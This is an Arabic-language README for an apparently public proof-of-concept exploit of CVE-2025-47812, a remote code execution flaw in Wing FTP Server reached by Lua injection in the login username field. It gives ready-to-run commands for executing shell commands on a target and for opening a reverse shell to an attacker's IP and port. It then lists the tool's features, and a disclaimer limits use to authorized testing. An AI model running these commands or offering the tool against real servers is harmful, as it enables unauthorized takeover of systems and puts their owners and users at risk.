
استغلال تنفيذ الأوامر عن بُعد لخادم Wing FTP (CVE-2025-47812)
يوفر هذا المستودع نموذجًا لإثبات المفهوم لاستغلال CVE-2025-47812، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) في Wing FTP Server. يمكن للمهاجم حقن وتنفيذ أوامر نظام تعسفية مبنية على Lua عن طريق إساءة استخدام معامل username أثناء المصادقة، مما يؤدي إلى تنفيذ كامل للتعليمات البرمجية عن بُعد.
found_uids.txtتنفيذ أمر شل بسيط:
python3 CVE-2025-47812.py --url http://target:5466 --cmd "id"
تشغيل شل عكسية:
python3 CVE-2025-47812.py --url http://target:5466 --reverse --ip YOUR_IP --port 4444
وضع المحاكاة (لن يتم إرسال أي طلبات):
python3 CVE-2025-47812.py --url http://target:5466 --cmd "whoami" --dry-run
هذا المشروع مخصص للاختبارات الأمنية التعليمية والمصرح بها فقط. لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
| الميزة/التحسين | الوصف |
|---|
| ✅ تحليل الوسيطات | تمت إضافة دعم CLI باستخدام argparse للوضع غير التفاعلي |
| 🔐 التحقق من صحة الإدخال | يضمن صحة عنوان URL/IP/المنفذ قبل محاولة الاستغلال |
| 📦 إعادة هيكلة الرؤوس | تم استخراج رؤوس HTTP إلى دالة قابلة لإعادة الاستخدام للاتساق |
| 📄 تسجيل UID | يحفظ رموز UID الناجحة في found_uids.txt |
| 🧪 وضع المحاكاة | يسمح بالاختبار الآمن دون إرسال طلبات (--dry-run) |
| 🕒 المهلة + إعادة المحاولة | يضيف مهلة للطلب ومحاولات إعادة تلقائية عند الفشل |
| 🧼 قراءة الحمولة | إعادة تنسيق سلسلة حقن Lua للوضوح والصيانة |
| 📊 إخراج منظم | تغليف استجابات الخادم ومعلومات الحمولة بمحددات لسهولة القراءة |
| ⚠️ التحقق من رموز الحالة | تحذير المستخدم إذا أعاد الهدف رموز حالة HTTP غير متوقعة |
| 📝 نظام التسجيل | استبدال print() بوحدة logging في Python للتحكم الأفضل في مستوى التفاصيل |